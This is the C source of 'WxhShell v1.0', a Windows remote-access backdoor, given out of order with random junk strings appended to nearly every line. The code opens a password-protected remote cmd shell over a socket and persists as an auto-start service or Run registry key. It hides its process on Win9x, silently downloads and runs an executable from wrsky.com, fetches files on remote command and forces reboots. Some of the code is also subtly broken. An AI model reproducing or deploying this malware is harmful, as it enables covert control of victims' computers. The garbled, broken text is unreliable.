    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~J1pcBno%  
    else { QSQ\@h;E  
    closesocket(wsh); k>@^M]%  
    ExitThread(0); MyS7AL   
    } ' c\TMb.  
    break; b|C,b"$N0  
    } XdXS^QA .s  
  // 获取shell ^i,0n}>  
  case 's': { F[qI fh4  
    CmdShell(wsh); YuZ   
    closesocket(wsh); C{Xk/Er5<  
    ExitThread(0); *d*;M>  
    break; |"(3]f\  
  } zAdVJ58H  
  // 退出 ? Gu_UW  
  case 'x': { a!]QD`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '/)_{Ly  
    CloseIt(wsh); +,w|&y  
    break; Hr.JZ>~<  
    } e Eb1R}@  
  // 离开 F1]PYx$X  
  case 'q': { ${H&Q*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (~yJce  
    closesocket(wsh); Bd]DhPhJ  
    WSACleanup(); C=f(NpyD6  
    exit(1); NNrZb?  
    break; x@(f^P  
        } pt;Sk?-1  
  } Gb)iB  
  } ;eSf4_~  
mI*>7?  
  // 提示信息 )ejqE6'[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'r3L)[  
} $ }bC$?^  
  } I&@@v\$*  
\:^n-D*fX  
  return; aNEy1-/(\  
} RJm8K,3#  
`v+O5  
// shell模块句柄 {Q3#]Vu  
int CmdShell(SOCKET sock) 5m;wMW<  
{ zEL[%(fnc  
STARTUPINFO si; Ljs(<Gm)-  
ZeroMemory(&si,sizeof(si)); &(1NOyX&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G U/k^ Qy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NjMLq|X  
PROCESS_INFORMATION ProcessInfo; H[yLl v  
char cmdline[]="cmd"; Sgk{NM7|k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %R5MAs&-5  
  return 0; ZQ8Aak  
} Y2$`o4*3  
5rSth.&  
// 自身启动模式 aWK7 -n  
int StartFromService(void) \crmNH)3  
{ X-WvKH(=w  
typedef struct fmyS# 6"  
{ dfd%A" I  
  DWORD ExitStatus; B{u.Yc:  
  DWORD PebBaseAddress; 9Qd'=JQl  
  DWORD AffinityMask; O&RHCR-\  
  DWORD BasePriority; >R0j<:p :  
  ULONG UniqueProcessId; ?(hQZR 0e  
  ULONG InheritedFromUniqueProcessId; f }e7g d]M  
}   PROCESS_BASIC_INFORMATION; *wx^mB9  
+Rd{ ?)2~  
PROCNTQSIP NtQueryInformationProcess; s'w 0pZqj  
t`D@bzLC%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hs!CJ(0"y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C#cEMKa  
,6)y4=8 L  
  HANDLE             hProcess; cjpl_}'L:  
  PROCESS_BASIC_INFORMATION pbi; spDRQ_qq  
!ry+ r!"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $e\R5L u  
  if(NULL == hInst ) return 0; 0]W/88ut*u  
OH~qJ <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '0?E|B]Cp%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bHG>SW\]`?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?':'zT  
? +!?$h  
  if (!NtQueryInformationProcess) return 0; T}On:*&  
0w&1wee(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >U.uRq  
  if(!hProcess) return 0; 8#AXK{  
PUo&>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +t6m>IBu  
t, YAk ?}  
  CloseHandle(hProcess); )&-+:u0  
3xY]Lqwv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #bH[UId[  
if(hProcess==NULL) return 0; a}{! %5  
GDntGTE~sk  
HMODULE hMod; Fje%hcV  
char procName[255]; |e(x< [s5  
unsigned long cbNeeded; L0~O6*bk  
s2kynQ#a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MeS$+9jV(  
zvg&o)/[  
  CloseHandle(hProcess); {S~$\4vC!  
2J <Z4Ap  
if(strstr(procName,"services")) return 1; // 以服务启动 ak&v/%N  
hR{Zh>  
  return 0; // 注册表启动 EpMEA1=&  
} ~;` #{$/C&  
6dlPS{H#U  
// 主模块 zD|W3hL2&  
int StartWxhshell(LPSTR lpCmdLine) 4'*K\Ul).H  
{ [Xg"B|FD0  
  SOCKET wsl; ~:Nyv+g,$  
BOOL val=TRUE; v}i}pQ\DK  
  int port=0; 85]UrwlA4  
  struct sockaddr_in door; vZsVxx99  
<Z[R08 k  
  if(wscfg.ws_autoins) Install(); 4[wP$  
: r=_\?  
port=atoi(lpCmdLine); 'Mtu-\  
f{oWd]eAhb  
if(port<=0) port=wscfg.ws_port; 9NAlgET  
sq$|Pad[  
  WSADATA data; 6R j X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R PQ)0.O7  
 X'<xw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;C%EF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1C{n\_hR  
  door.sin_family = AF_INET; +J9lD`z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <NO~TBHF  
  door.sin_port = htons(port); /;1FZ<zU  
/0(KKZ)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RB!E>]   
closesocket(wsl); nm.d.A/]Z  
return 1; %{"STbO#>  
} hW&UG#PY>  
hd' n"  
  if(listen(wsl,2) == INVALID_SOCKET) { N0f}q1S<-A  
closesocket(wsl); m~A/.t%=  
return 1; t=#)3C`Q}  
} I 3PnyNZ  
  Wxhshell(wsl); c#Bde-dh  
  WSACleanup(); m`cG&Ar5  
!T)>q%@ai  
return 0; 3[4]G@  
P8f-&(  
} mLSAi2Y  
+l\Dp  
// 以NT服务方式启动 T rW3@@}j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R >TtAm0N  
{ @UX`9]-P  
DWORD   status = 0; QNY{ p k  
  DWORD   specificError = 0xfffffff; )g9qkQ8q  
Yaqim<j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fz*6 B NJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kCV OeXv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 a`-_<  
  serviceStatus.dwWin32ExitCode     = 0; TEtZ PGFl  
  serviceStatus.dwServiceSpecificExitCode = 0; |rQ;|+.  
  serviceStatus.dwCheckPoint       = 0; ;Xns9  
  serviceStatus.dwWaitHint       = 0; tti.-  
$6N. ykJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +]X^bB[  
  if (hServiceStatusHandle==0) return; yI)2:Ca*  
v*pVcBY>  
status = GetLastError(); 9viC3bj.o  
  if (status!=NO_ERROR) "rtmDNpL  
{ 5h&8!!$[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;A_QI>>  
    serviceStatus.dwCheckPoint       = 0; z; +x`i.  
    serviceStatus.dwWaitHint       = 0; smggr{-  
    serviceStatus.dwWin32ExitCode     = status; tP9}:gu  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?a% u=G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?(z3/ "g]  
    return; _kS us  
  } }PVB+i M  
P<1zXs.H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F`l1I=;  
  serviceStatus.dwCheckPoint       = 0; Nf1l{N  
  serviceStatus.dwWaitHint       = 0; {sLh=iK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); he,T\ };  
} \;]~K6=  
JG `QJ%  
// 处理NT服务事件,比如:启动、停止 PuWF:'w r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j,Y=GjfGM  
{ W$W7U|Z9y+  
switch(fdwControl) tF 4"28"h  
{ z|Xl%8  
case SERVICE_CONTROL_STOP: LS`Gg7]S  
  serviceStatus.dwWin32ExitCode = 0; oKUJB.PF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P7 n~Ui~U  
  serviceStatus.dwCheckPoint   = 0; ]Q+Tm2{  
  serviceStatus.dwWaitHint     = 0; <_5z^@N3$  
  { `WVQp"m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )9$Xfq/  
  } ;]gph)2cd  
  return; rv+"=g  
case SERVICE_CONTROL_PAUSE: Z`D#L[z$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PQ j_j#0  
  break; \K=Jd#9c  
case SERVICE_CONTROL_CONTINUE: &Z?uK,8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OtJS5A  
  break; iMS S8J  
case SERVICE_CONTROL_INTERROGATE: #8A|-u=3  
  break; 6gv.n  
}; (Q@+W |~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U;_ ;_  
} g)zy^ aDf  
I$YF55uB  
// 标准应用程序主函数 n%Fa;!S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \(Iy>L.  
{ Ut<_D8Tzx  
3KGDS9I  
// 获取操作系统版本 _\[Zr.y  
OsIsNt=GetOsVer(); 3Cpix,Dc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .gB#g{5+J  
bAgKOfT  
  // 从命令行安装 q o'1Pknz  
  if(strpbrk(lpCmdLine,"iI")) Install(); GYBM]mW^ W  
{YkW5zC(L  
  // 下载执行文件 wi!Ml4Sb  
if(wscfg.ws_downexe) { pl%ag~i5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^'}Td~(  
  WinExec(wscfg.ws_filenam,SW_HIDE); MSA*XDnN  
} M/BBNT  
O!a5  
if(!OsIsNt) { bz@4obRqf  
// 如果时win9x,隐藏进程并且设置为注册表启动 ? O.&=im_  
HideProc(); -" DI,o  
StartWxhshell(lpCmdLine); #JVcl $0Y  
} j0Q ;OKu  
else yd2ouCUV  
  if(StartFromService()) 8g<3J-7Mm  
  // 以服务方式启动 ^ H'|iju  
  StartServiceCtrlDispatcher(DispatchTable); $Uzc  
else @r#>-p  
  // 普通方式启动 &.d~ M1Mz  
  StartWxhshell(lpCmdLine); aFLm,  
%;gD_H4mm  
return 0; R\iU)QP  
} U!('`TYe  
_c[t.\-`]  
ZI1[jM{4^F  
fPst<)  
=========================================== ?R";EnD  
vsc&$r3!5{  
rXA7<_Vg  
UlyX$f%2  
vHWw*gg(/E  
x ha!.&DO  
" .*8.{n5   
na<g /&  
#include <stdio.h> 8G9V8hS1#B  
#include <string.h> BH=vI<D  
#include <windows.h> eI- ~ +.  
#include <winsock2.h> $L?stgU  
#include <winsvc.h> &DgIykqN  
#include <urlmon.h> 't wMvm  
 pCv=rK@  
#pragma comment (lib, "Ws2_32.lib") 2+0'vIw}  
#pragma comment (lib, "urlmon.lib") Hq=RtW2  
{<bByHT!  
#define MAX_USER   100 // 最大客户端连接数 FX\ -Y$K  
#define BUF_SOCK   200 // sock buffer m@OgT<E]_  
#define KEY_BUFF   255 // 输入 buffer c" yf>0  
>zXw4=J  
#define REBOOT     0   // 重启 9^`G `D  
#define SHUTDOWN   1   // 关机 D>05F,a  
*K!V$8k=99  
#define DEF_PORT   5000 // 监听端口 Q&yfl  
ns@b0'IF]  
#define REG_LEN     16   // 注册表键长度 "",V\m  
#define SVC_LEN     80   // NT服务名长度 -8g ;t3z  
q W) ,)i  
// 从dll定义API UAa2oY&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2uz<n}IV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ceAK;v o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lv,<[Hw1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < jfi"SJu  
2U i)'0  
// wxhshell配置信息 {4UlJ,Z.n  
struct WSCFG { x2;92I{5C,  
  int ws_port;         // 监听端口 RoP z?,u  
  char ws_passstr[REG_LEN]; // 口令 6Vi #O^>  
  int ws_autoins;       // 安装标记, 1=yes 0=no iugTXZ(  
  char ws_regname[REG_LEN]; // 注册表键名 Z?X ^7<  
  char ws_svcname[REG_LEN]; // 服务名 !DD|dVA{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B\9ymhx;g%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?mnwD]u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $KKrl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]x! vPIyq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 87y$=eZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jo_h?{"L{  
?:~ `?  
}; sy4$!,W:  
u[y>DPPx  
// default Wxhshell configuration W +C\/  
struct WSCFG wscfg={DEF_PORT, R/U"]Rc  
    "xuhuanlingzhe", tPc'# .  
    1, q f-1}  
    "Wxhshell", ,Epg&)wC]  
    "Wxhshell", I 91`~0L*  
            "WxhShell Service", Qr$ uFh/y  
    "Wrsky Windows CmdShell Service", {V,rWg  
    "Please Input Your Password: ", BHqJ~2&FDW  
  1, U_Id6J]8  
  "http://www.wrsky.com/wxhshell.exe", KR#Bj?fz-H  
  "Wxhshell.exe" jO3Z2/#  
    }; Q l ql(*  
$GPenQ~},  
// 消息定义模块 -fn["R]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sLPFeibof5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {^5r5GB=*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CZt)Q4  
char *msg_ws_ext="\n\rExit."; | \C{R  
char *msg_ws_end="\n\rQuit."; -7>vh|3  
char *msg_ws_boot="\n\rReboot...";  jmz, 1[  
char *msg_ws_poff="\n\rShutdown..."; ,@8>=rT  
char *msg_ws_down="\n\rSave to "; 5,k&^CK}  
Ay/ "2pDZ  
char *msg_ws_err="\n\rErr!"; %#Fd0L  
char *msg_ws_ok="\n\rOK!"; Y<I/y  
t :sKvJ  
char ExeFile[MAX_PATH]; hBO I:4u[  
int nUser = 0; &K|<7Efx  
HANDLE handles[MAX_USER]; 3T%WfS+  
int OsIsNt; aa8WRf  
/&Khk #  
SERVICE_STATUS       serviceStatus; 8tY],  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rer=o S  
77.5 _  
// 函数声明 FX4](oM  
int Install(void); RV.*_FG  
int Uninstall(void); 52,pCyU  
int DownloadFile(char *sURL, SOCKET wsh); wqK>=Ri_  
int Boot(int flag); [-=PK\ B  
void HideProc(void); `fj(xrI  
int GetOsVer(void); iO(9#rV  
int Wxhshell(SOCKET wsl); L00,{g6wqb  
void TalkWithClient(void *cs); JY~s-jxa  
int CmdShell(SOCKET sock); /)e&4.6  
int StartFromService(void); x?VX,9;j  
int StartWxhshell(LPSTR lpCmdLine); &S]\)&Yt  
-6aGcPq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5a&[NN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 25o + ?Y<  
^D ;X  
// 数据结构和表定义 o'?Y0Wt  
SERVICE_TABLE_ENTRY DispatchTable[] = "n=`{~F  
{ HFB2ep7N  
{wscfg.ws_svcname, NTServiceMain}, OIe {Sx{y  
{NULL, NULL} )UO:J7K  
}; ==l p\  
YR=<xn;m.  
// 自我安装 cL7je  
int Install(void) p9y "0A|  
{ {|O8)bW'  
  char svExeFile[MAX_PATH]; YO|Kc {j2e  
  HKEY key; % Lhpj[C  
  strcpy(svExeFile,ExeFile); r*OSEzGUz  
eh&?BP?  
// 如果是win9x系统,修改注册表设为自启动 mTwz&N\  
if(!OsIsNt) { %e+hM $Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6Vs>E4G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b`usRoD{+  
  RegCloseKey(key); g>CF|Wj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i-vhX4:bd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x~?,Wv|cm  
  RegCloseKey(key); x@;XyQq  
  return 0; =\eM -"r  
    } Eg FV  
  } ;@Alr?y  
} p3M)gH=N  
else { QS4sSua  
{+0]diD  
// 如果是NT以上系统,安装为系统服务 ICN>8|O`&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?54=TA|5`F  
if (schSCManager!=0) s*>s;S?{|  
{ Zm >Q-7r9  
  SC_HANDLE schService = CreateService 4/&Us  
  ( ><mZOTn e;  
  schSCManager, TxoMCN?7c  
  wscfg.ws_svcname, be|k"s|6)  
  wscfg.ws_svcdisp, xa[<k >r3  
  SERVICE_ALL_ACCESS, (_^g:>)Cs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hc4<`W{  
  SERVICE_AUTO_START, b'pbf  
  SERVICE_ERROR_NORMAL, RFU(wek  
  svExeFile, YR@@:n'TP  
  NULL, 1Thr74M  
  NULL, ;EP7q[  
  NULL, J^R))R=  
  NULL, x$Ko|:-  
  NULL $]<CC`  
  ); Mc#uWmc 7  
  if (schService!=0) lbZ,?wm  
  { dE7 kd=.o  
  CloseServiceHandle(schService); 7[rn ,8@  
  CloseServiceHandle(schSCManager); UeIu -[R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >0k7#q}O  
  strcat(svExeFile,wscfg.ws_svcname); 7hZCh,O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Vxr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @NWjYHM[`  
  RegCloseKey(key); 2`Ub;Nn29  
  return 0; 4_Tx FulX.  
    } WO?EzQ ?  
  } R]VY PNns  
  CloseServiceHandle(schSCManager); zW,m3~XX:  
} O8(;=exA  
} I\&..e0l  
\bw71( Q  
return 1; PspH[db  
} zmQ V6o=k  
%<6oKE  
// 自我卸载 IHZ WNT2  
int Uninstall(void) 7Vr .&`l  
{ G(~d1%(  
  HKEY key; qL091P\F  
{+r pMUs#  
if(!OsIsNt) { rk*Igqf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q#wASd.  
  RegDeleteValue(key,wscfg.ws_regname); _iLXs  
  RegCloseKey(key); X aW@CW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~O;!y%  
  RegDeleteValue(key,wscfg.ws_regname); Z $ Fh4  
  RegCloseKey(key); >*(4evU  
  return 0; UK*+EEv  
  } Ir|Q2$W2^c  
}  TOdH  
} 0AP wk }  
else { []/=!?5B  
y8HLrBTza  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {";5n7<<)  
if (schSCManager!=0)  LKieOgX  
{ %H75u 6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AR\>P  
  if (schService!=0) JP)/ O!  
  { ;n$j?n+|  
  if(DeleteService(schService)!=0) { X+)68  
  CloseServiceHandle(schService); jhjGDF  
  CloseServiceHandle(schSCManager); I~\j%zD  
  return 0; bAms-cXm  
  } $6}siU7s4  
  CloseServiceHandle(schService); EGO;g^,  
  } )_"Cz".|9  
  CloseServiceHandle(schSCManager); ;X<#y2`  
} 7Oe |:Z  
} w~y+Pv@   
rVowHP  
return 1; 4j|]=58  
} fIN8::Cs[  
rp u9  
// 从指定url下载文件 M>P-0IC  
int DownloadFile(char *sURL, SOCKET wsh) ;ZPAnd:pb  
{ .%_scNP  
  HRESULT hr; $%ZEP> ]  
char seps[]= "/"; X&nkc/erx  
char *token; %Ez%pT0TQ#  
char *file; O|m-Uz"+  
char myURL[MAX_PATH]; 3.U5Each-  
char myFILE[MAX_PATH]; zB/$*Hd  
sJg-FVe2  
strcpy(myURL,sURL); uy)iB'st&  
  token=strtok(myURL,seps); >DVjO9Kf  
  while(token!=NULL) Yxz(g]  
  { fp|!LU  
    file=token; dFD0l?0N  
  token=strtok(NULL,seps); !^cQPX2<  
  } ]^$&Ejpe#  
=;!C7VS  
GetCurrentDirectory(MAX_PATH,myFILE); V9z/yNo  
strcat(myFILE, "\\"); I&Q.MItW  
strcat(myFILE, file); Pwf2dm$,+  
  send(wsh,myFILE,strlen(myFILE),0); ^$f} s,09  
send(wsh,"...",3,0); &?YbAo_K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _?#}@?  
  if(hr==S_OK) mwVH>3{j  
return 0; ?&EPZqI  
else XFeHkU`C  
return 1; &:`T!n  
L$6{{Tw"2  
} :$."x '  
Ar7vEa81  
// 系统电源模块 L^3~gZ  
int Boot(int flag) Rd|};-  
{ Lo _5r T"  
  HANDLE hToken; K Art4+31  
  TOKEN_PRIVILEGES tkp; D@*<p h=  
W4Rs9NA}  
  if(OsIsNt) { ; S7 %  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uq `B#JI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .9{Sr[P  
    tkp.PrivilegeCount = 1; (|L0s)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fC+<n{"C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M%pxv6?""{  
if(flag==REBOOT) { { %X /w'|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RX}6H<5R  
  return 0; VeeQmR?u-  
} Tu95qL~^  
else { \72(d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fvK):eCo  
  return 0; ?RJ ) u  
} pt<!b0G  
  } &Q 7Q1`S  
  else { JYA$_T  
if(flag==REBOOT) { RhIRCN9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zC #[  
  return 0; ^55#!/9  
} }/q]:3M|  
else { ~c~N _b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *>,8+S33r{  
  return 0; .)~IoIW=  
} URS6 LM  
} p9rnhqH6  
I!3qb-.Q  
return 1; #8iRWm0*6  
} VCfa<hn  
8gWifx #N  
// win9x进程隐藏模块 CIAHsbn.A  
void HideProc(void) Lb;:<  
{ SVWtKc<  
4%>iIPXi.(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oe`t ? (U  
  if ( hKernel != NULL ) 2iC7c6hc  
  { _]:wltPv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U;p"x^U`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lpd q^X  
    FreeLibrary(hKernel); 2<53y~Yi%  
  } g>)&Q >}=W  
q66!xhp;?  
return; sc dU  
} XA75tU[#  
]pr(hk  
// 获取操作系统版本 5<h7+ %?t9  
int GetOsVer(void) s)X'PJ0&Bs  
{ ``KimeA~  
  OSVERSIONINFO winfo; 'oSs5lW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k/bY>FY2r  
  GetVersionEx(&winfo); MebL Y $&8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .vHSKd{  
  return 1;  %~Vgz(/  
  else e@N@8i"q5  
  return 0; H:byCFN-  
} tmEF7e`(o  
&U/7D!^X  
// 客户端句柄模块 W(U:D?e  
int Wxhshell(SOCKET wsl) S_?{ <{  
{ ZP75zeH  
  SOCKET wsh; 7`-fN|  
  struct sockaddr_in client;  l%XuYYQ  
  DWORD myID; 5Y77g[AX2-  
VBV y3fnj  
  while(nUser<MAX_USER) ~5LlIpf36|  
{ V ':?rEN|  
  int nSize=sizeof(client); zzOc # /  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yg34b}m{  
  if(wsh==INVALID_SOCKET) return 1; B>sSl1opI  
0\XG;KA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T= Q"| S]V  
if(handles[nUser]==0) Mg3>/!  
  closesocket(wsh); 2;X{ZLo  
else b.HfxYt(  
  nUser++; trD-qi  
  } ^W!w~g+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <j CD^  
<NRW^#g<x  
  return 0; P X/{  
} 5WJof`M  
+b@KS"3h  
// 关闭 socket !Ab4'4f  
void CloseIt(SOCKET wsh) esE5#Yq4.k  
{ 2}:{}pw  
closesocket(wsh); XIQfgrGZ  
nUser--; n?uVq6c  
ExitThread(0); L[v-5u)  
} nO-1^HUl  
$&IF#uDf  
// 客户端请求句柄 ]6JI((  
void TalkWithClient(void *cs) JBzRL"|  
{ G-FeDP  
5X"y46i,H  
  SOCKET wsh=(SOCKET)cs; O#[+= ^  
  char pwd[SVC_LEN]; G&ZpQ)  
  char cmd[KEY_BUFF]; ?[<C,w~$`  
char chr[1]; Op''=Ar#sh  
int i,j; =)tU]kp  
Gp*U2LB  
  while (nUser < MAX_USER) { $TU)O^c  
mx\b6w7  
if(wscfg.ws_passstr) { jm~(OLg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dC&{zNG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w]2tb  
  //ZeroMemory(pwd,KEY_BUFF); fd Vye|%  
      i=0; PeCU V6  
  while(i<SVC_LEN) { WGy3SV )  
lM0`yh  
  // 设置超时 08*O|Ym,  
  fd_set FdRead; \~j6}4XS1.  
  struct timeval TimeOut; :yPA6O 4  
  FD_ZERO(&FdRead); VI:EjZ/|a  
  FD_SET(wsh,&FdRead); F"2rX&W  
  TimeOut.tv_sec=8; !{On_>` ,  
  TimeOut.tv_usec=0; dt -EY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^uZ!e+   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "`A@_;At`  
C8^=7H EB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Ter]0M&  
  pwd=chr[0]; Hz A+Oi  
  if(chr[0]==0xd || chr[0]==0xa) { BEU^,r3z  
  pwd=0; 2Mqac:L  
  break; Fh)`A5#  
  } wD9Gl.uQ  
  i++; ~n)gP9Hv  
    } WsHC%+\'  
JjO="Cmk/  
  // 如果是非法用户,关闭 socket X MkyX&y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sf""]c$  
} m5Q?g8  
/%O+]#$`0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^uG^XY&ItC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ed&;d+NM  
W=Y?_Oz  
while(1) { -s ]  
JQ9JWu%a  
  ZeroMemory(cmd,KEY_BUFF); %M? A>7b  
8|9JJ<G7  
      // 自动支持客户端 telnet标准   L H>oG$a  
  j=0; =2sj$  
  while(j<KEY_BUFF) { JI&ik_k3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ky6.6Y<.|  
  cmd[j]=chr[0]; Nd b_|  
  if(chr[0]==0xa || chr[0]==0xd) { 3WH"NC-O<  
  cmd[j]=0; /Q|guJx  
  break; 4q<LNvJA  
  } f[S$ Gu4-  
  j++; N\ Nwmx  
    } SLCV|@G  
P.8CFl X  
  // 下载文件 'a&(r;  
  if(strstr(cmd,"http://")) { =aL=SC+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .W[[Z;D  
  if(DownloadFile(cmd,wsh)) IdY\_@$ v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hSBR9g  
  else 49/j9#hr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /3]b!lFZZ  
  } Q#wl1P  
  else { ^F}HWpF_  
FNQR sNi  
    switch(cmd[0]) { 6[iuCMOZ  
  | .8lS3C  
